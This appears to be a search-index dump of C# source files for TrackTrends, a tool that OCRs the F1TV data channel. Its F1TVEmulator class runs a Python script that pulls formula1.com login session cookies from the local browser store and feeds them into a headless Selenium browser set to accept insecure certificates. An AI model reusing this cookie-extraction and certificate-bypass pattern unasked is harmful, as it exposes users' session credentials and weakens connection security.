TesseractEngine engine = new TesseractEngine ( Window . TESS_DATA_FOLDER . FullName , \"eng\" , EngineMode . Default ); Image image = MainZone . ZoneImage ; var tessImage = Pix . LoadFromMemory ( Window . ImageToByte ( image )); Page page = engine . Process ( tessImage ); //Runs a quick OCR detection. Not to detect any content but just to detect where is all the text positionned. //For each row it decides the best Zone location and adds it to the Driver zone list using ( var iter = page . GetIterator ()) { iter . Begin (); do { Rect boundingBox ; if ( iter . TryGetBoundingBox ( PageIteratorLevel . Word , out boundingBox )) { //We remove all the rectangles that are definitely too big if ( boundingBox . Height < image . Height / NUMBER_OF_DRIVERS ) { //Now we add a filter to only get the boxes in the right because they are much more reliable in size if ( boundingBox . X1 > image . Width / 2 ) { //Now we check if an other square box has been found roughly in the same y axis bool match = false ; //The tolerance is roughly half the size that a window will be int tolerance = ( image . Height / NUMBER_OF_DRIVERS ) / 2 ; foreach ( Rectangle rect in detectedText ) { if ( rect . Y > boundingBox . Y1 - tolerance && rect . Y < boundingBox . Y1 + tolerance ) { //There already is a rectangle in this line match = true ; } } //if nothing matched we can add it if (! match ) detectedText . Add ( new Rectangle ( boundingBox . X1 , boundingBox . Y1 , boundingBox . Width , boundingBox . Height )); } } } } while ( iter . Next ( PageIteratorLevel . Word )); } //DEBUG int i = 1 ; foreach ( Rectangle Rectangle in detectedText ) { Rectangle windowRectangle ; Size windowSize = new Size ( image . Width , image . Height / NUMBER_OF_DRIVERS ); Point windowLocation = new Point ( 0 , ( Rectangle . Y + Rectangle . Height / 2 ) - windowSize . Height / 2 ); windowRectangle = new Rectangle ( windowLocation , windowSize ); //We add the driver zones Zone driverZone = new Zone ( MainZone . ZoneImage , windowRectangle , \"DriverZone\" ); MainZone . AddZone ( driverZone ); //driverZone.ZoneImage.Save(\"Driver\" + i+\".png\"); i ++; } } } }","title":"ConfigurationTool.cs"},{"location":"Code/ConfigurationTool.html#configurationtoolcs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : ConfigurationTool.cs /// Brief : Class that contains all the methods used to create config files for the main programm /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Drawing ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using Tesseract ; using System.IO ; using System.Text.Json ; using System.Text.Json.Nodes ; namespace TrackTrends { public class ConfigurationTool { public Zone MainZone ; public const int NUMBER_OF_DRIVERS = 20 ; public const int NUMBER_OF_ZONES = 9 ; public const string CONFIGS_FOLDER_NAME = \"./Presets/\" ; /// /// Creates the configuration tool. It can only be created if you already have the dimensions of the main zone /// /// The full image coming from the F1TV Data Channel /// The dimensions of the zone where all the drivers data are situated public ConfigurationTool ( Bitmap fullImage , Rectangle mainZoneDimensions ) { MainZone = new Zone ( fullImage , mainZoneDimensions , \"Main\" ); AutoCalibrate (); } /// /// Resets the main zone /// public void ResetMainZone () { MainZone . ResetZones (); } /// /// Reset the windows /// public void ResetWindows () { MainZone . ResetWindows (); } /// /// Save the current config in a JSON file stored in /Presets/ /// /// A list of all the drivers in the GP. IMPORTANT, they need to ALL be mentionned or the program wont be able to detect the missing ones and will F up everything /// The name the config should have public void SaveToJson ( List < string > drivers , string configName ) { string JSON = \"\" ; JsonObject jsonFileObject = new JsonObject (); //Creates the mainZone object JsonObject mainZoneObject = new JsonObject (); mainZoneObject . Add ( \"x\" , MainZone . Bounds . X ); mainZoneObject . Add ( \"y\" , MainZone . Bounds . Y ); mainZoneObject . Add ( \"width\" , MainZone . Bounds . Width ); mainZoneObject . Add ( \"height\" , MainZone . Bounds . Height ); JsonArray driverZonesArray = new JsonArray (); //Creates all the subzones that contain driver infos int DriverID = 0 ; foreach ( Zone driverZone in MainZone . Zones ) { DriverID ++; JsonObject driverZoneObject = new JsonObject (); driverZoneObject . Add ( \"name\" , \"Driver\" + DriverID ); driverZoneObject . Add ( \"x\" , driverZone . Bounds . X ); driverZoneObject . Add ( \"y\" , driverZone . Bounds . Y ); driverZoneObject . Add ( \"width\" , driverZone . Bounds . Width ); driverZoneObject . Add ( \"height\" , driverZone . Bounds . Height ); JsonArray windowsArray = new JsonArray (); JsonObject windowObject = new JsonObject (); //Creates all the windows of the current driver zone //Note : We store ALL the windows and zones in the JSON because they are not spaced exactly the same on the main zone foreach ( Window window in driverZone . Windows ) { windowObject . Add ( window . Name , new JsonObject { { \"x\" , window . Bounds . X }, { \"y\" , window . Bounds . Y }, { \"width\" , window . Bounds . Width }, { \"height\" , window . Bounds . Height } }); } windowsArray . Add ( windowObject ); driverZoneObject . Add ( \"Windows\" , windowsArray ); driverZonesArray . Add ( driverZoneObject ); } mainZoneObject . Add ( \"DriverZones\" , driverZonesArray ); JsonArray driversArray = new JsonArray (); foreach ( string driver in drivers ) { driversArray . Add ( driver ); } mainZoneObject . Add ( \"Drivers\" , driversArray ); jsonFileObject . Add ( \"Main\" , mainZoneObject ); JSON = jsonFileObject . ToString (); //Saving the file string path = CONFIGS_FOLDER_NAME + configName ; if ( File . Exists ( path + \".json\" )) { //We need to create a new name int count = 2 ; while ( File . Exists ( path + \"_\" + count + \".json\" )) { count ++; } path += \"_\" + count + \".json\" ; } else { path += \".json\" ; } File . WriteAllText ( path , JSON ); } /// /// Adds a window in the windows list /// Be carefull of the order. It cant be random or it will crash. The programm expect the first to be position, second Gap to leader etc... /// /// The bounds of the window public void AddWindows ( List < Rectangle > rectangles ) { foreach ( Zone driverZone in MainZone . Zones ) { Bitmap zoneImage = driverZone . ZoneImage ; for ( int i = 1 ; i <= rectangles . Count ; i ++) { switch ( i ) { case 1 : //First zone should be the driver's Position driverZone . AddWindow ( new DriverPositionWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 2 : //Second zone should be the Gap to leader driverZone . AddWindow ( new DriverGapToLeaderWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 3 : //Third zone should be the driver's Lap Time driverZone . AddWindow ( new DriverLapTimeWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 4 : //Fourth zone should be the driver's DRS status driverZone . AddWindow ( new DriverDrsWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 5 : //Fifth zone should be the driver's Tyre's informations driverZone . AddWindow ( new DriverTyresWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 6 : //Sixth zone should be the driver's Name driverZone . AddWindow ( new DriverNameWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 7 : //Seventh zone should be the driver's First Sector driverZone . AddWindow ( new DriverSectorWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], 1 , false )); break ; case 8 : //Zone number eight should be the driver's Second Sector driverZone . AddWindow ( new DriverSectorWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], 2 , false )); break ; case 9 : //Zone number nine should be the driver's Position Sector driverZone . AddWindow ( new DriverSectorWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], 3 , false )); break ; } } } } /// /// This will automatically create all the driver zones at the correct places if the main zone has been weel positionned /// You cant just divide the image by the number of pilots or it will be messy and inconsistent at the end (Garbage in Garbage Out) /// public void AutoCalibrate () { List < Rectangle > detectedText = new List < Rectangle >(); List < Zone > zones = new List < Zone >(); TesseractEngine engine = new TesseractEngine ( Window . TESS_DATA_FOLDER . FullName , \"eng\" , EngineMode . Default ); Image image = MainZone . ZoneImage ; var tessImage = Pix . LoadFromMemory ( Window . ImageToByte ( image )); Page page = engine . Process ( tessImage ); //Runs a quick OCR detection. Not to detect any content but just to detect where is all the text positionned. //For each row it decides the best Zone location and adds it to the Driver zone list using ( var iter = page . GetIterator ()) { iter . Begin (); do { Rect boundingBox ; if ( iter . TryGetBoundingBox ( PageIteratorLevel . Word , out boundingBox )) { //We remove all the rectangles that are definitely too big if ( boundingBox . Height < image . Height / NUMBER_OF_DRIVERS ) { //Now we add a filter to only get the boxes in the right because they are much more reliable in size if ( boundingBox . X1 > image . Width / 2 ) { //Now we check if an other square box has been found roughly in the same y axis bool match = false ; //The tolerance is roughly half the size that a window will be int tolerance = ( image . Height / NUMBER_OF_DRIVERS ) / 2 ; foreach ( Rectangle rect in detectedText ) { if ( rect . Y > boundingBox . Y1 - tolerance && rect . Y < boundingBox . Y1 + tolerance ) { //There already is a rectangle in this line match = true ; } } //if nothing matched we can add it if (! match ) detectedText . Add ( new Rectangle ( boundingBox . X1 , boundingBox . Y1 , boundingBox . Width , boundingBox . Height )); } } } } while ( iter . Next ( PageIteratorLevel . Word )); } //DEBUG int i = 1 ; foreach ( Rectangle Rectangle in detectedText ) { Rectangle windowRectangle ; Size windowSize = new Size ( image . Width , image . Height / NUMBER_OF_DRIVERS ); Point windowLocation = new Point ( 0 , ( Rectangle . Y + Rectangle . Height / 2 ) - windowSize . Height / 2 ); windowRectangle = new Rectangle ( windowLocation , windowSize ); //We add the driver zones Zone driverZone = new Zone ( MainZone . ZoneImage , windowRectangle , \"DriverZone\" ); MainZone . AddZone ( driverZone ); //driverZone.ZoneImage.Save(\"Driver\" + i+\".png\"); i ++; } } } }","title":"ConfigurationTool.cs"},{"location":"Code/DriverData.html","text":"DriverData.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverData.cs /// Brief : File containing classes that behave just like structures to store data about drivers /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; namespace TrackTrends { public class DriverData { public bool DRS ; //True = Drs is opened public int GapToLeader ; //In ms public int LapTime ; //In ms public string Name ; //Ex: LECLERC public int Position ; //Ex: 1 public int Sector1 ; //in ms public int Sector2 ; //in ms public int Sector3 ; //in ms public Tyre CurrentTyre ; //Ex Soft 11 laps public DriverData ( bool dRS , int gapToLeader , int lapTime , string name , int position , int sector1 , int sector2 , int sector3 , Tyre tyre ) { DRS = dRS ; GapToLeader = gapToLeader ; LapTime = lapTime ; Name = name ; Position = position ; Sector1 = sector1 ; Sector2 = sector2 ; Sector3 = sector3 ; CurrentTyre = tyre ; } /// /// Creates a default driver data with empty values /// public DriverData () { DRS = false ; GapToLeader = - 1 ; LapTime = - 1 ; Name = \"Unknown\" ; Position = - 1 ; Sector1 = - 1 ; Sector2 = - 1 ; Sector3 = - 1 ; CurrentTyre = new Tyre ( Tyre . Type . Undefined , - 1 ); } /// /// Method that displays all the data found in a string /// /// string containing all the driver datas public override string ToString () { string result = \"\" ; //Position result += \"Position : \" + Position + Environment . NewLine ; //Gap result += \"GapToLeader : \" + Reader . ConvertMsToTime ( GapToLeader ) + Environment . NewLine ; //LapTime result += \"LapTime : \" + Reader . ConvertMsToTime ( LapTime ) + Environment . NewLine ; //DRS result += \"DRS : \" + DRS + Environment . NewLine ; //Tyres result += \"Uses \" + CurrentTyre . Coumpound + \" tyre \" + CurrentTyre . NumberOfLaps + \" laps old\" + Environment . NewLine ; //Name result += \"DriverName : \" + Name + Environment . NewLine ; //Sector 1 result += \"Sector1 : \" + Reader . ConvertMsToTime ( Sector1 ) + Environment . NewLine ; //Sector 1 result += \"Sector2 : \" + Reader . ConvertMsToTime ( Sector2 ) + Environment . NewLine ; //Sector 1 result += \"Sector3 : \" + Reader . ConvertMsToTime ( Sector3 ) + Environment . NewLine ; return result ; } } //Structure to store tyres infos public struct Tyre { //If new tyres were to be added you will have to need to change this enum public enum Type { Soft , Medium , Hard , Inter , Wet , Undefined } public Type Coumpound ; public int NumberOfLaps ; public Tyre ( Type type , int laps ) { Coumpound = type ; NumberOfLaps = laps ; } } }","title":"DriverData.cs"},{"location":"Code/DriverData.html#driverdatacs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverData.cs /// Brief : File containing classes that behave just like structures to store data about drivers /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; namespace TrackTrends { public class DriverData { public bool DRS ; //True = Drs is opened public int GapToLeader ; //In ms public int LapTime ; //In ms public string Name ; //Ex: LECLERC public int Position ; //Ex: 1 public int Sector1 ; //in ms public int Sector2 ; //in ms public int Sector3 ; //in ms public Tyre CurrentTyre ; //Ex Soft 11 laps public DriverData ( bool dRS , int gapToLeader , int lapTime , string name , int position , int sector1 , int sector2 , int sector3 , Tyre tyre ) { DRS = dRS ; GapToLeader = gapToLeader ; LapTime = lapTime ; Name = name ; Position = position ; Sector1 = sector1 ; Sector2 = sector2 ; Sector3 = sector3 ; CurrentTyre = tyre ; } /// /// Creates a default driver data with empty values /// public DriverData () { DRS = false ; GapToLeader = - 1 ; LapTime = - 1 ; Name = \"Unknown\" ; Position = - 1 ; Sector1 = - 1 ; Sector2 = - 1 ; Sector3 = - 1 ; CurrentTyre = new Tyre ( Tyre . Type . Undefined , - 1 ); } /// /// Method that displays all the data found in a string /// /// string containing all the driver datas public override string ToString () { string result = \"\" ; //Position result += \"Position : \" + Position + Environment . NewLine ; //Gap result += \"GapToLeader : \" + Reader . ConvertMsToTime ( GapToLeader ) + Environment . NewLine ; //LapTime result += \"LapTime : \" + Reader . ConvertMsToTime ( LapTime ) + Environment . NewLine ; //DRS result += \"DRS : \" + DRS + Environment . NewLine ; //Tyres result += \"Uses \" + CurrentTyre . Coumpound + \" tyre \" + CurrentTyre . NumberOfLaps + \" laps old\" + Environment . NewLine ; //Name result += \"DriverName : \" + Name + Environment . NewLine ; //Sector 1 result += \"Sector1 : \" + Reader . ConvertMsToTime ( Sector1 ) + Environment . NewLine ; //Sector 1 result += \"Sector2 : \" + Reader . ConvertMsToTime ( Sector2 ) + Environment . NewLine ; //Sector 1 result += \"Sector3 : \" + Reader . ConvertMsToTime ( Sector3 ) + Environment . NewLine ; return result ; } } //Structure to store tyres infos public struct Tyre { //If new tyres were to be added you will have to need to change this enum public enum Type { Soft , Medium , Hard , Inter , Wet , Undefined } public Type Coumpound ; public int NumberOfLaps ; public Tyre ( Type type , int laps ) { Coumpound = type ; NumberOfLaps = laps ; } } }","title":"DriverData.cs"},{"location":"Code/DriverGapToLeaderWindow.html","text":"DriverGapToLeaderWindow.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverGapToLeaderWindow.cs /// Brief : Window containing infos about the gap to the leader of a driver /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Drawing ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; namespace TrackTrends { public class DriverGapToLeaderWindow : Window { public DriverGapToLeaderWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"GapToLeader\" ; } /// /// Decodes the gap to leader using Tesseract OCR /// /// Returns the gap to the leader in miliseconds (int) public override object DecodePng () { int result = GetTimeFromPng ( WindowImage , OcrImage . WindowType . Gap , Engine ); return result ; } } }","title":"DriverGapToLeaderWindow.cs"},{"location":"Code/DriverGapToLeaderWindow.html#drivergaptoleaderwindowcs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverGapToLeaderWindow.cs /// Brief : Window containing infos about the gap to the leader of a driver /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Drawing ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; namespace TrackTrends { public class DriverGapToLeaderWindow : Window { public DriverGapToLeaderWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"GapToLeader\" ; } /// /// Decodes the gap to leader using Tesseract OCR /// /// Returns the gap to the leader in miliseconds (int) public override object DecodePng () { int result = GetTimeFromPng ( WindowImage , OcrImage . WindowType . Gap , Engine ); return result ; } } }","title":"DriverGapToLeaderWindow.cs"},{"location":"Code/DriverNameWindow.html","text":"DriverNameWindow.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverNameWindow /// Brief : Window containing infos about the name of the driver /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace TrackTrends { public class DriverNameWindow : Window { public DriverNameWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"Name\" ; } /// /// Decodes using OCR wich driver name is in the image /// /// A list of all the names that can be on the image /// a string representing the found driver name. It will be one of the ones given in the list public override object DecodePng ( List < string > DriverList ) { string result = \"\" ; result = GetStringFromPng ( WindowImage , Engine ); if (! IsADriver ( DriverList , result )) { //I put everything in uppercase to try to lower the chances of bad answers result = FindClosestMatch ( DriverList . ConvertAll ( d => d . ToUpper ()), result . ToUpper ()); } return result ; } /// /// Verifies that the name found in the OCR is a valid name /// /// The list of all the drivers name that can be found in the image /// The driver you want to be sure if it exists or not /// If ye or no the driver exists private static bool IsADriver ( List < string > driverList , string potentialDriver ) { bool result = false ; //I cant use drivers.Contains because it has missmatched cases and all foreach ( string name in driverList ) { if ( name . ToUpper () == potentialDriver . ToUpper ()) result = true ; } return result ; } } }","title":"DriverNameWindow.cs"},{"location":"Code/DriverNameWindow.html#drivernamewindowcs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverNameWindow /// Brief : Window containing infos about the name of the driver /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace TrackTrends { public class DriverNameWindow : Window { public DriverNameWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"Name\" ; } /// /// Decodes using OCR wich driver name is in the image /// /// A list of all the names that can be on the image /// a string representing the found driver name. It will be one of the ones given in the list public override object DecodePng ( List < string > DriverList ) { string result = \"\" ; result = GetStringFromPng ( WindowImage , Engine ); if (! IsADriver ( DriverList , result )) { //I put everything in uppercase to try to lower the chances of bad answers result = FindClosestMatch ( DriverList . ConvertAll ( d => d . ToUpper ()), result . ToUpper ()); } return result ; } /// /// Verifies that the name found in the OCR is a valid name /// /// The list of all the drivers name that can be found in the image /// The driver you want to be sure if it exists or not /// If ye or no the driver exists private static bool IsADriver ( List < string > driverList , string potentialDriver ) { bool result = false ; //I cant use drivers.Contains because it has missmatched cases and all foreach ( string name in driverList ) { if ( name . ToUpper () == potentialDriver . ToUpper ()) result = true ; } return result ; } } }","title":"DriverNameWindow.cs"},{"location":"Code/DriverSectorWindow.html","text":"DriverSectorWindow.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverSectorWindow.cs /// Brief : Window containing infos about a driver sector time. Can be the first second or third, does not matter. /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace TrackTrends { public class DriverSectorWindow : Window { public DriverSectorWindow ( Bitmap image , Rectangle bounds , int sectorId , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"Sector\" + sectorId ; } /// /// Decodes the sector /// /// the sector time in int (ms) public override object DecodePng () { int ocrResult = GetTimeFromPng ( WindowImage , OcrImage . WindowType . Sector , Engine ); return ocrResult ; } } }","title":"DriverSectorWindow.cs"},{"location":"Code/DriverSectorWindow.html#driversectorwindowcs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverSectorWindow.cs /// Brief : Window containing infos about a driver sector time. Can be the first second or third, does not matter. /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace TrackTrends { public class DriverSectorWindow : Window { public DriverSectorWindow ( Bitmap image , Rectangle bounds , int sectorId , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"Sector\" + sectorId ; } /// /// Decodes the sector /// /// the sector time in int (ms) public override object DecodePng () { int ocrResult = GetTimeFromPng ( WindowImage , OcrImage . WindowType . Sector , Engine ); return ocrResult ; } } }","title":"DriverSectorWindow.cs"},{"location":"Code/F1TVEmulator.html","text":"F1TVEmulator.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : F1TVEmulator.cs /// Brief : Class that contains methods to emulate a browser and navigate the F1TV website /// Version : Alpha 1.0 using OpenQA.Selenium ; using OpenQA.Selenium.Firefox ; using OpenQA.Selenium.Interactions ; using OpenQA.Selenium.Support.UI ; using System ; using System.Collections.Generic ; using System.Diagnostics ; using System.Drawing ; using System.IO ; using System.Linq ; using System.Text ; using System.Threading ; using System.Threading.Tasks ; namespace TrackTrends { internal class F1TVEmulator { public const string COOKIE_HOST = \".formula1.com\" ; public const string PYTHON_COOKIE_RETRIEVAL_FILENAME = \"recoverCookiesCSV.py\" ; public const string GECKODRIVER_FILENAME = @\"geckodriver-v0.27.0-win64\\geckodriver.exe\" ; //BE CAREFULL IF YOU CHANGE IT HERE YOU NEED TO CHANGE IT IN THE PYTHON SCRIPT TOO public const string COOKIES_CSV_FILENAME = \"cookies.csv\" ; private FirefoxDriver Driver ; private bool _ready ; private string _grandPrixUrl ; public string GrandPrixUrl { get => _grandPrixUrl ; private set => _grandPrixUrl = value ; } public bool Ready { get => _ready ; set => _ready = value ; } public F1TVEmulator ( string grandPrixUrl ) { GrandPrixUrl = grandPrixUrl ; Ready = false ; } /// /// Will start the python programm that runs the Cookie Recovering /// private void StartCookieRecovering () { string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME ; Process process = new Process (); process . StartInfo . FileName = \"python.exe\" ; process . StartInfo . Arguments = scriptPath ; process . StartInfo . UseShellExecute = false ; process . StartInfo . RedirectStandardOutput = true ; process . Start (); string output = process . StandardOutput . ReadToEnd (); process . WaitForExit (); } /// /// Method that will recover the needed cookies in the DB /// /// The host of the wanted cookie ex: ./formula1.com /// The name of the wanted cookie ex: login /// returns the value of the cookie if it has been found /// public string GetCookie ( string host , string name ) { StartCookieRecovering (); string value = \"\" ; List < Cookie > cookies = new List < Cookie >(); if ( File . Exists ( COOKIES_CSV_FILENAME )) { using ( var reader = new StreamReader ( COOKIES_CSV_FILENAME )) { // Read the header row and validate column order string header = reader . ReadLine (); string [] expectedColumns = { \"host_key\" , \"name\" , \"value\" , \"path\" , \"expires_utc\" , \"is_secure\" , \"is_httponly\" }; string [] actualColumns = header . Split ( ',' ); for ( int i = 0 ; i < expectedColumns . Length ; i ++) { if ( expectedColumns [ i ] != actualColumns [ i ]) { throw new InvalidOperationException ( $\"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'\" ); } } // Read each data row and parse values into a Cookie object while (! reader . EndOfStream ) { string line = reader . ReadLine (); string [] fields = line . Split ( ',' ); string hostname = fields [ 0 ]; string cookieName = fields [ 1 ]; if ( hostname == host && cookieName == name ) { value = fields [ 2 ]; } } } } return value ; } /// /// Starts the headless browser /// /// Error code 1xx public async Task < int > Start () { Ready = false ; string loginCookieName = \"login\" ; string loginSessionCookieName = \"login-session\" ; string loginCookieValue = GetCookie ( COOKIE_HOST , loginCookieName ); string loginSessionValue = GetCookie ( COOKIE_HOST , loginSessionCookieName ); //Cookie retreival has gone wrong (usually its because of python not being installed properly) if ( loginCookieValue == \"\" || loginSessionValue == \"\" ) return 100 ; var service = FirefoxDriverService . CreateDefaultService ( GECKODRIVER_FILENAME ); service . Host = \"127.0.0.1\" ; service . Port = 5555 ; FirefoxProfile profile = new FirefoxProfile (); FirefoxOptions options = new FirefoxOptions (); //profile.SetPreference(\"full-screen-api.ignore-widgets\", true); //profile.SetPreference(\"media.hardware-video-decoding.enabled\", true); //profile.SetPreference(\"full-screen-api.enabled\", true); options . Profile = profile ; profile . SetPreference ( \"layout.css.devPixelsPerPx\" , \"1.0\" ); options . AcceptInsecureCertificates = true ; options . AddArgument ( \"--headless\" ); //options.AddArgument(\"--start-maximized\"); //options.AddArgument(\"--window-size=1920x1080\"); //options.AddArgument(\"--width=\" + windowWidth); //options.AddArgument(\"--height=\" + windowHeight); //options.AddArgument(\"-window-size=1920x1080\"); //options.AddArgument(\"--width=1920\"); //options.AddArgument(\"--height=1080\"); //profile try { Driver = new FirefoxDriver ( service , options ); } catch { Ready = false ; return 101 ; } Actions actions = new Actions ( Driver ); var loginCookie = new Cookie ( loginCookieName , loginCookieValue , COOKIE_HOST , \"/\" , DateTime . Now . AddDays ( 5 )); var loginSessionCookie = new Cookie ( loginSessionCookieName , loginSessionValue , COOKIE_HOST , \"/\" , DateTime . Now . AddDays ( 5 )); Driver . Navigate (). GoToUrl ( \"https://f1tv.formula1.com/\" ); Driver . Manage (). Cookies . AddCookie ( loginCookie ); Driver . Manage (). Cookies . AddCookie ( loginSessionCookie ); try { Driver . Navigate (). GoToUrl ( GrandPrixUrl ); } catch { //The url is not a valid url Driver . Dispose (); return 103 ; } //Waits for the page to fully load Driver . Manage (). Timeouts (). PageLoad = TimeSpan . FromSeconds ( 30 ); //Removes the cookie prompt try { IWebElement conscentButton = Driver . FindElement ( By . Id ( \"truste-consent-button\" )); conscentButton . Click (); } catch { //Could not locate the cookie button Screenshot ( \"ERROR104\" ); Driver . Dispose (); return 104 ; } //Again waits for the page to fully load (when you accept cookies it takes a little time for the page to load) //Cannot use The timeout because the feed loading is not really loading so there is not event or anything Thread . Sleep ( 5000 ); //Switches to the Data channel try { IWebElement dataChannelButton = Driver . FindElement ( By . ClassName ( \"data-button\" )); dataChannelButton . Click (); } catch { //If the data button does not exists its because the user is not connected Screenshot ( \"ERROR102\" ); Driver . Dispose (); return 102 ; } //Open settings // Press the space key, this should make the setting button visible // It does not matter if the feed is paused because when changing channel it autoplays actions . SendKeys ( OpenQA . Selenium . Keys . Space ). Perform (); //Clicks on the settings Icon int settingsClickTries = 0 ; bool settingsClickSuccess = false ; while ( settingsClickTries < 100 && ! settingsClickSuccess ) { Thread . Sleep ( 100 ); try { IWebElement settingsButton = Driver . FindElement ( By . ClassName ( \"bmpui-ui-settingstogglebutton\" )); settingsButton . Click (); IWebElement selectElement = Driver . FindElement ( By . ClassName ( \"bmpui-ui-videoqualityselectbox\" )); SelectElement select = new SelectElement ( selectElement ); IWebElement selectOption = selectElement . FindElement ( By . CssSelector ( \"option[value^='1080_']\" )); selectOption . Click (); settingsClickSuccess = true ; } catch { //Sometimes it can crash because it could not get the options to show up in time. When it happens just retry settingsClickSuccess = false ; settingsClickTries ++; } } if (! settingsClickSuccess ) { Screenshot ( \"ERROR105\" ); Driver . Dispose (); return 105 ; } Screenshot ( \"BEFOREFULLSCREEN\" ); //Makes the feed fullscreen int fullScreenClickTries = 0 ; bool fullScreenClickSuccess = false ; Driver . Manage (). Window . Maximize (); //WebDriverWait wait = new WebDriverWait(Driver, TimeSpan.FromSeconds(10)); while ( fullScreenClickTries < 100 && ! fullScreenClickSuccess ) { Thread . Sleep ( 150 ); try { IWebElement fullScreenButton = Driver . FindElement ( By . ClassName ( \"bmpui-ui-fullscreentogglebutton\" )); fullScreenButton . Click (); fullScreenClickSuccess = true ; } catch { fullScreenClickSuccess = false ; fullScreenClickTries ++; } } if (! fullScreenClickSuccess ) { Screenshot ( \"ERROR106\" ); Driver . Dispose (); return 106 ; } Screenshot ( \"AFTERFULLSCREEN\" ); //STARTUP FINISHED READY TO SCREENSHOT Ready = true ; return 0 ; } /// /// Takes a screenshot of what the headless browser is displaying /// /// Optional ! The name of the picture so it can be saved /// Returns the screenshot in the bitmap format public Bitmap Screenshot ( string name = \"TEST\" ) { Bitmap result = new Bitmap ( 4242 , 6969 ); try { //Screenshot scrsht = ((ITakesScreenshot)Driver).GetScreenshot(); //profileriver.SetPreferencC:\\Users\\Moi\\source\\repos\\Test_Merge\\README.mde(\"layout.css.devPixelsPerPx\", \"1.0\"); //Screenshot scrsht = Driver.GetFullPageScreenshot(); Screenshot scrsht = Driver . GetScreenshot (); byte [] screenshotBytes = Convert . FromBase64String ( scrsht . AsBase64EncodedString ); MemoryStream stream = new MemoryStream ( screenshotBytes ); result = new Bitmap ( stream ); //result.Save(name + \".png\"); scrsht . SaveAsFile ( name + \".png\" ); } catch { //Nothing for now } return result ; } /// /// Stops the Emulation. Note: if you plan to start it again please use ResetDriver() instead /// public void Stop () { Ready = false ; if ( Driver != null ) Driver . Dispose (); } /// /// Resets the emulation /// public void ResetDriver () { Ready = false ; if ( Driver != null ) Driver . Dispose (); Driver = null ; } } }","title":"F1TVEmulator.cs"},{"location":"Code/F1TVEmulator.html#f1tvemulatorcs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : F1TVEmulator.cs /// Brief : Class that contains methods to emulate a browser and navigate the F1TV website /// Version : Alpha 1.0 using OpenQA.Selenium ; using OpenQA.Selenium.Firefox ; using OpenQA.Selenium.Interactions ; using OpenQA.Selenium.Support.UI ; using System ; using System.Collections.Generic ; using System.Diagnostics ; using System.Drawing ; using System.IO ; using System.Linq ; using System.Text ; using System.Threading ; using System.Threading.Tasks ; namespace TrackTrends { internal class F1TVEmulator { public const string COOKIE_HOST = \".formula1.com\" ; public const string PYTHON_COOKIE_RETRIEVAL_FILENAME = \"recoverCookiesCSV.py\" ; public const string GECKODRIVER_FILENAME = @\"geckodriver-v0.27.0-win64\\geckodriver.exe\" ; //BE CAREFULL IF YOU CHANGE IT HERE YOU NEED TO CHANGE IT IN THE PYTHON SCRIPT TOO public const string COOKIES_CSV_FILENAME = \"cookies.csv\" ; private FirefoxDriver Driver ; private bool _ready ; private string _grandPrixUrl ; public string GrandPrixUrl { get => _grandPrixUrl ; private set => _grandPrixUrl = value ; } public bool Ready { get => _ready ; set => _ready = value ; } public F1TVEmulator ( string grandPrixUrl ) { GrandPrixUrl = grandPrixUrl ; Ready = false ; } /// /// Will start the python programm that runs the Cookie Recovering /// private void StartCookieRecovering () { string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME ; Process process = new Process (); process . StartInfo . FileName = \"python.exe\" ; process . StartInfo . Arguments = scriptPath ; process . StartInfo . UseShellExecute = false ; process . StartInfo . RedirectStandardOutput = true ; process . Start (); string output = process . StandardOutput . ReadToEnd (); process . WaitForExit (); } /// 